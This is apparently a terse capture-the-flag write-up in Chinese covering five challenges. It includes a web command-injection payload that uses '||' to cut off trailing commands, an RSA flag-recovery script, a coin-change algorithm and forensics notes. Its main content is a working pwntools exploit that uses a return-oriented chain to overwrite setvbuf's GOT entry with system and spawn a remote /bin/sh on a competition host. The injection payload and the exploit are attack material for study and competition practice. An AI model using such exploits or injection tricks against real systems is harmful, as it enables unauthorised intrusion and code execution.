1
?c=nl<fla\g.php||
不能让后面的丢弃执行，用||实现截断
2
import gmpy2
from Crypto.Util.number import long_to_bytes
import sympybase = 65537
P_p=206027926847308612719677572554991143421
P_factor=213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839
Q_1=103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2=151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q=168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
Ciphertext = 1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832_Q=pow(sub_Q , Q_2 , Q_1)
Q= sympy.nextprime(_Q)
# print("Q: ", Q)def p_Prime(p): while True:p=p-2if sympy.isprime(p)==1:return pP = [0 for i in range(17)]
P[9]=P_p
for i in range(10,17):P[i]=sympy.nextprime(P[i-1])
for i in range(9,0,-1):P[i-1]=p_Prime(P[i])
n=1
for i in range(17):n*=P[i]
phi=1
for i in range(17):phi*=P[i]-1
d=gmpy2.invert(base,phi)
P_1=pow(P_factor,d,n)
P=sympy.nextprime(P_1)
Phi=(P-1)*(Q-1)
N=P*Q
D=gmpy2.invert(base,Phi)
flag=pow(Ciphertext,D,N)
print(long_to_bytes(flag))3
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
elf=ELF('/mnt/hgfs/share/3/pwn')
libc=ELF('/home/loser/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
print(hex(libc.sym['setvbuf']))
print(hex(libc.sym['system']))
offset=libc.sym['system']-libc.sym['setvbuf']
print(hex(offset))
offset=offset&0xFFFFFFFFFFFFFFFF
print(hex(offset))
p=remote('gz.imxbt.cn',20369)
setvbuf_plt=elf.plt['setvbuf']
setvbuf_got=elf.got['setvbuf']
gets_plt=elf.plt['gets']
csu_addr=0x4006EA
gadget=0x400658
rdi=0x00000000004006f3
bss=0x601080
payload=b'a'*0x10+p64(csu_addr)+p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(gadget)
payload+=p64(rdi)+p64(bss)+p64(gets_plt)+p64(rdi)+p64(bss)+p64(setvbuf_plt)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()4
class Solution {
public:int minMoney(vector<int>& arr, int aim) {if(aim < 1) return 0;vector<int> dp(aim + 1, aim + 1); dp[0] = 0; for(int i = 1; i <= aim; i++){ for(int j = 0; j < arr.size(); j++){ if(arr[j] <= i) dp[i] = min(dp[i], dp[i - arr[j]] + 1); }}return dp[aim] > aim ? -1 : dp[aim]; }
};
5
010发现有zip，foremost提取
分析流量包发现加密密码supercomplexpassword